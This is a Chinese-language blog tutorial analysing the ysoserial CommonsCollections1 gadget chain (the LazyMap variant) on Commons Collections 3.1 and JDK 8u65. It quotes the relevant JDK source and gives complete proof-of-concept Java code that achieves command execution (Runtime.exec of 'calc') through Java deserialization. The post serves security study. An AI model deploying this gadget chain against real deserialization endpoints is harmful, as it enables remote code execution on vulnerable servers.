分析下ysoserial中CC1的利用链
分析版本
Commons Collections 3.1
JDK 8u65
环境配置参考JAVA安全初探(三):CC1链全分析
分析过程
与TransformerMap的CC1不同的是,在寻找InvokeTransformer.transform的方法调用时,我们选择LazyMap的get方法。
public Object get(Object key) {// create value for key if key is not currently in the mapif (map.containsKey(key) == false) { //进入此判断Object value = factory.transform(key);//factory为InvokeTransformermap.put(key, value);return value;}return map.get(key);}
之后找get的方法调用,这里作者找到的还是AnnotationInvocationHandler类中的invoke方法。其实AnnotationInvocationHandler类实现了InvocationHandler,是java动态代理的写法,invoke方法是代理调用方法时调用自动调用的。java动态代理可以参考JDK动态代理
public Object invoke(Object proxy, Method method, Object[] args) {String member = method.getName(); //这里member取的是动态代理代理的方法名字Class<?>[] paramTypes = method.getParameterTypes();//返回方法参数类型// Handle Object and Annotation methodsif (member.equals("equals") && paramTypes.length == 1 && //不能进此循环 保证代理的方法名不是equals 方法参数数量不为1 并且 第一个参数类型不是Object类paramTypes[0] == Object.class)return equalsImpl(args[0]);if (paramTypes.length != 0) //不能进次循环 方法数量不为1throw new AssertionError("Too many parameters for an annotation method");switch(member) { //方法名字不能为toString hashCode annotationTypecase "toString":return toStringImpl();case "hashCode":return hashCodeImpl();case "annotationType":return type;}// Handle annotation member accessorsObject result = memberValues.get(member); //构造方法输入的可控Map<String, Object> memberValues,调用get 也就是LazyMap调用getif (result == null)throw new IncompleteAnnotationException(type, member);if (result instanceof ExceptionProxy)throw ((ExceptionProxy) result).generateException();if (result.getClass().isArray() && Array.getLength(result) != 0)result = cloneArray(result);return result;}
更新Poc
这里动态代理是调用的Map的isEmpty()方法。方法没有参数,并且名字不为toString hashCode annotationType
Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<Object, Object> hashMap = new HashMap<>();Map<Object, Object> lazyMap = LazyMap.decorate(hashMap, chainedTransformer);//反射实例化AnnotationInvocationHandlerClass c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor constructor = c.getDeclaredConstructor(Class.class , Map.class);constructor.setAccessible(true);InvocationHandler annotationInvocationHandler = (InvocationHandler) constructor.newInstance(Target.class, lazyMap);Map lazyMap1 = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), new Class[]{Map.class}, annotationInvocationHandler);lazyMap1.isEmpty();
写到这里还没结束,因为我们最后要找到反序列化readObject方法。
作者这里用的还是AnnotationInvocationHandler类重写的readObject方法
因为在反序列化时要调用invoke方法,所以要保证代理调用了方法(方法满足方法没有参数,并且名字不为toString hashCode annotationType)。
在这里正好有个memberValues.entrySet(),memberValues是我们能控制的Map类,而entrySet()方法正好没有参数,并且名字不为toString hashCode annotationType。
这里就不用像CC1 TransformsMap链注意注释类的传参了,因为我们只要执行到for (Map.Entry<String, Object> memberValue : memberValues.entrySet())
这行就可以。
其实也可以找其他满足条件的类,不一定是AnnotationInvocationHandler类。
private void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundException {s.defaultReadObject();// Check to make sure that types have not evolved incompatiblyAnnotationType annotationType = null;try {annotationType = AnnotationType.getInstance(type);} catch(IllegalArgumentException e) {// Class is no longer an annotation type; time to punch outthrow new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");}Map<String, Class<?>> memberTypes = annotationType.memberTypes();// If there are annotation members without values, that// situation is handled by the invoke method.for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { //遍历Map<String, object> memberValues是Map类 memberValue是键值对String name = memberValue.getKey(); //取键值对的key, memberValueClass<?> memberType = memberTypes.get(name); //返回key对应的映射(Value), Class<? extends Annotation> typeif (memberType != null) { // i.e. member still exists //type中需要有memberValues的keyObject value = memberValue.getValue(); //取键值对的value, memberValueif (!(memberType.isInstance(value) || //判断两个对象类型,value是否可以强制转化为memberTypevalue instanceof ExceptionProxy)) { //value是否是ExceptionProxy的实例化对象memberValue.setValue( //memberValue需要设置为AbstractInputCheckedMapDecoratornew AnnotationTypeMismatchExceptionProxy( //runtimevalue.getClass() + "[" + value + "]").setMember(annotationType.members().get(name)));}}}}
最后的Poc
public class cc1_poc_lazyMap {public static void serialize(Object obj) throws Exception {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ss.ser"));oos.writeObject(obj);}public static Object unserialize(String Filename) throws Exception {ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));Object obj = ois.readObject();return obj;}public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<Object, Object> hashMap = new HashMap<>();Map<Object, Object> lazyMap = LazyMap.decorate(hashMap, chainedTransformer);//反射实例化AnnotationInvocationHandlerClass c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor constructor = c.getDeclaredConstructor(Class.class , Map.class);constructor.setAccessible(true);InvocationHandler annotationInvocationHandler = (InvocationHandler) constructor.newInstance(Target.class, lazyMap);Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, annotationInvocationHandler); //动态代理//System.out.println(lazyMap1.isEmpty());//lazyMap1.isEmpty();Object annotationInvocationHandler1 = constructor.newInstance(Target.class, mapProxy);serialize(annotationInvocationHandler1);unserialize("ss.ser");}
}